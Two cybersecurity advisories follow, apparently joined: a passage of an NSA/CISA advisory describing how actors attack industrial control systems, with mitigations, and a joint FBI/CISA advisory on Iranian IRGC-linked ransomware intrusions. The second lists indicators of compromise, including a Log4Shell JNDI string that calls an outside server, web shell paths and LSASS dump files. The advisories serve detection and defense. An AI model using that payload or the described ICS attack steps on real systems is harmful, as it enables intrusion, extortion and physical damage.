In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation. 

Develop techniques and tools

Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers.

Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities. 

As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems.

Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9] 

With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more.

Gain initial access to the system

To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system. 

Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements. 

However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points. 

Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system. 

Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components.

Execute techniques and tools to create the intended effects

Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities:

1. Degrade the operator’s ability to monitor the targeted system or degrade the operator’s confidence in the control system’s ability to operate, control, and monitor the targeted system. Functionally, an actor could prevent the operator’s display (human machine interface, or HMI) from being updated and selectively update or change visualizations on the HMI, as witnessed during the attack on the Ukraine power grid. [5] (Manipulation of View [T0832] )
2. Operate the targeted control system. Functionally, this includes the ability to modify analog and digital values internal to the system (changing alarms and adding or modifying user accounts), or to change output control points — this includes abilities such as altering tap changer output signals, turbine speed demand, and opening and closing breakers. (Manipulation of Control [T0831])
3. Impair the system’s ability to report data. Functionally, this is accomplished by degrading or disrupting communications with external communications circuits (e.g., ICCP , HDLC , PLC , VSAT, SCADA radio, other radio frequency mediums), remote terminal units (RTUs) or programmable logic controllers (PLCs), connected business or corporate networks, HMI subnetworks, other remote I/O, and any connected Historian/bulk data storage. (Block Reporting Message [T0804], Denial of View [T0815])
4. Deny the operator’s ability to control the targeted system. Functionally, this includes the ability to stop, abort, or corrupt the system’s operating system (OS) or the supervisory control and data acquisition (SCADA) system’s software functionality. (Denial of Control [T0813])
5. Enable remote or local reconnaissance on the control system. Functionally, an actor could obtain system configuration information to enable development of a modified system configuration or a custom tool. (Collection [TA0100], Theft of Operational Information [T0882])

Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment. 

Mitigations

The complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty     compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1] 

System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions.

However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs. 

Limit exposure of system information

Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system.

Document the answers to the following questions:

1. From where and to where is data flowing?
2. How are the communication pathways documented and how is the data secured/encrypted?
3. How is the data used and secured when it arrives at its destination?
4. What are the network security standards at the data destination, whether a vendor/regulator or administrator/financial institution? 
5. Can the data be shared further once at its destination? Who has the authority to share this data?

Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it. 

Identify and secure remote access points

Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system.

Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks. 

Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture:

• Reduce the attack surface by proactively limiting and hardening Internet-exposed assets. See CISA’s Get Your Stuff Off Search page for more information.
• Establish a firewall and a demilitarized zone (DMZ) between the control system and the vendor’s access points and devices. Do not allow direct access into the system; use an intermediary service to share only necessary data and only when required. For more information see CISA’s infographic Layering Network Security Through Segmentation. [14]
• Consider using virtual private networks (VPNs) at specific points to and from the system rather than allowing separate access points for individual devices or vendors.
• Utilize jump boxes to isolate and monitor access to the system.
• Ensure that data can only flow outward from the system – administratively and physically. Use encrypted links to exchange data outside of the system.
• Enforce strict compliance with policies and procedures for remote access, even if personnel complain that it is too difficult.
• If the system does not use vendor access points and devices, ensure that none are active. Use strict hardware, software, and administrative techniques to prevent them from becoming covertly active.
• Do not allow vendor-provided system access devices and software to operate continuously in the system without full awareness of their security posture and access logs.
• Install and keep current all vendor-provided security systems associated with the installed vendor access points.
• Review configurations to ensure they are configured securely. Operators typically focus on necessary functionality, so properly securing the configurations and remote access may be overlooked. 
• Consider penetration testing to validate the system’s security posture and any unknown accesses or access vulnerabilities. 
• Add additional security features to the system as needed. Do not assume that one vendor has a monopoly on the security of their equipment; other vendors may produce security features to fill gaps. 
• Change all default passwords throughout the system and update any products with hard-coded passwords, especially in all remote access and security components.
• Patch known exploited vulnerabilities whenever possible. Prioritize timely patching of all remote access points. Keep operating systems, firewalls, and all security features up-to-date.
• Continually monitor remote access logs for suspicious accesses. Securely aggregate logs for easier monitoring.

Restrict tools and scripts 

Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat.

The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include:

1. Identify any engineering, configuration, or diagnostic tools.
2. Securely store gold copies of these tools external to the system if possible.
3. Remove all non-critical tools.
4. Prevent these tools from being reinstalled.
5. Perform routine audits to check that these tools have not been reinstalled.

Conduct regular security audits

The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following:

1. Validate all connections (e.g., network, serial, modem, wireless, etc.).
2. Review system software patching procedures.
3. Confirm secure storage of gold copies (e.g., OS, firmware, patches, configurations, etc.).
4. Verify removal from the system of all non-critical software, services, and tools.
5. Audit the full asset inventory. 
6. Implement CISA ICS mitigations and best practices. [15] [16]
7. Monitor system logs and intrusion detection system (IDS) logs.

Implement a dynamic network environment

Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended. 

While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following:

1. Deploy additional firewalls and routers from different vendors.
2. Modify IP address pools.
3. Replace outdated hardware (e.g., workstations, servers, printers, etc.).
4. Upgrade operating systems.
5. Install or upgrade commercially available security packages for vendor access points and methodologies.

Planning these changes with significant forethought can help minimize the impact on network operation.

Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible.

Conclusion

The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects. 

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
 

Contact Information

For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. 

Media Inquiries / Press Desk: 

• NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov 
• CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov 

References

• [1] National Security Agency (2021), Stop Malicious Cyber Activity Against Connected Operational Technology.
• [2] National Security Agency and Cybersecurity and Infrastructure Security Agency (2020), NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems.
• [3] Tenable (2018), The Challenges of Securing Industrial Control Systems from Cyberattacks.
• [4] Cybersecurity and Infrastructure Security Agency (2022), Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure.
• [5] Cybersecurity and Infrastructure Security Agency (2021), Cyber-Attack Against Ukrainian Critical Infrastructure.
• [6] Cybersecurity and Infrastructure Security Agency (2021), Ongoing Cyber Threats to U.S. Water and Wastewater Systems.
• [7] Cybersecurity and Infrastructure Security Agency (2020), Ransomware Impacting Pipeline Operations.
• [8] Cybersecurity and Infrastructure Security Agency (2021), Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013
• [9] Cybersecurity and Infrastructure Security Agency (2022), APT Cyber Tools Targeting ICS/SCADA Devices
• [10] Cybersecurity and Infrastructure Security Agency (2022), Tactics, Techniques, and Procedures of Indicted State-Sponsored Russian Cyber Actors Targeting the Energy Sector.
• [11] The American Society of Mechanical Engineers (2016), Securing the Power Grid Against Cyber Attack.
• [12] PBS FRONTLINE (2003), Vulnerability: the power grid?
• [13] Cybersecurity and Infrastructure Security Agency (2018), Schneider Electric Triconex Tricon (Update B).
• [14] Cybersecurity and Infrastructure Security Agency (2022), Layering Network Security Through Segmentation.
• [15] Cybersecurity and Infrastructure Security Agency, Recommended Cybersecurity Practices for Industrial Control Systems.
• [16] Cybersecurity and Infrastructure Security Agency Industrial Control Systems Cyber Emergency Response Team (2016), Recommended Practice: Improving Industrial Control System Cybersecurity with Defense-in-Depth Strategies

Revisions

• Initial Release: September 22, 2022

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This post was originally published on this site

Original release date: September 14, 2022

Summary

Actions to take today to protect against ransom operations:

• Keep systems and software updated and prioritize remediating known exploited vulnerabilities.
• Enforce MFA.
• Make offline backups of your data.

This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) – Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as “the authoring agencies.”

This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.

Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.

The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.

This advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.

For a downloadable copy of IOCs, see AA22-257A.stix.

For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threat webpage.

Download the PDF version of this report: pdf, 801 kb

Technical Details

Threat Actor Activity

As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.

Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105 for initial access.

The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.

IRGC-affiliated actor activity observed by the authoring agencies includes:

• In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.
• In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company’s operations for an extended period.
• In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.
• In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company’s network.

MITRE ATT&CK® Tactics and Techniques

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.

The authoring agencies assess the following tactics and techniques are associated with this activity.

Resource Development [TA0042]

The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum:

• Fast Reverse Proxy (FRP) for command and control (C2)
• Plink for C2
• Remote Desktop Protocol (RDP) for lateral movement
• BitLocker for data encryption
• SoftPerfect Network Scanner for system network configuration discovery

Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Initial Access [TA0001]

As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190].

The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:

• Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories:
  • C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyecpauth
  • C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyowaauth
  • C:inetpubwwwrootaspnet_client

The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:

• ${jdni:ldap//148.251.71.182:1389/RCE} (user agent string)
• RCE.class

Execution [TA0002]

The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:

• Wininet
• Wininet’
• WinLogon
• CacheTask

Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Persistence [TA0003]

The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:

• Domain Admin
• it_admin
• DefaultAccount
• Default01

Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Exfiltration [TA0010]

The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:

• C:WindowsTempsassl[.]pmd
• C:WindowsTempssasl[.]zip
• C:UsersDefaultAccountAppDataLocalTemplsass[.]dmp
• C:UsersDefaultAccountAppDataLocalTemplsass[.]zip

Impact [TA0040]

The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information:

• @BuySafety (Telegram)
• @WeRBits (Telegram)
• +93794415076 (WhatsApp)
• werbits@onionmail[.]org
• buysafety@onionmail[.]org
• yacashcash@rambler[.]ru

Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

DETECTION

The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.

• Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts.
  • Note: Refer to Appendix A for IOCs.
• Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105.
• Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207.
• As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.
• Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.
• Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.
• Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.
• Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.
• Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
• Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.”
• Review antivirus logs for indications they were unexpectedly turned off.
• Look for WinRAR and FileZilla in unexpected locations.
• Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.

Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Mitigations

The authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.

Implement and Enforce Backup and Restoration Policies and Procedures

• Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
• Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup.
• Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.
• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).

Patch and Update Systems

• U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities.
• Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.
• Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.

Evaluate and Update Blocklists and Allowlists

• Regularly evaluate and update blocklists and allowlists.
• If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization’s execution blocklist. Prevent any attempts to install or run this program and its associated files.

Implement Network Segmentation

• Implement network segmentation to restrict a malicious threat actor’s lateral movement.

Secure User Accounts

• Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.
• Require administrator credentials to install software.

Implement Multifactor Authentication

• Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.

Use Strong Passwords

• Require all accounts with password logins to have strong, unique passwords. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information.

Secure and Monitor RDP and other Potentially Risky Services

• If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.
• Disable unused remote access/RDP ports.
• Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts.

Use Antivirus Programs

• Install and regularly update antivirus and anti-malware software on all hosts.

Secure Remote Access

• Only use secure networks.
• Consider installing and using a VPN for remote access.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Appendix B).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS

If a ransomware or extortion incident occurs at your organization:

• Follow the Ransomware Response Checklist on page 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
• Follow the notification requirements as outlined in your cyber incident response plan.
  • U.S. organizations: Report incidents to FBI at a local FBI Field Office or the FBI’s 24/7 CyWatch at (855)292-3937 or cywatch@fbi.gov, CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870, or the U.S. Secret Service (USSS) at a USSS Field Office.
  • Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
  • Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.
  • United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours)
• Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.

RESOURCES

• The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
• For more information on malicious cyber activity affiliated with the Iranian government- sponsored malicious cyber activity, see us-cert.cisa.gov/Iran and FBI’s Iran Threat page.
• For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts.
• The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
• CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity.
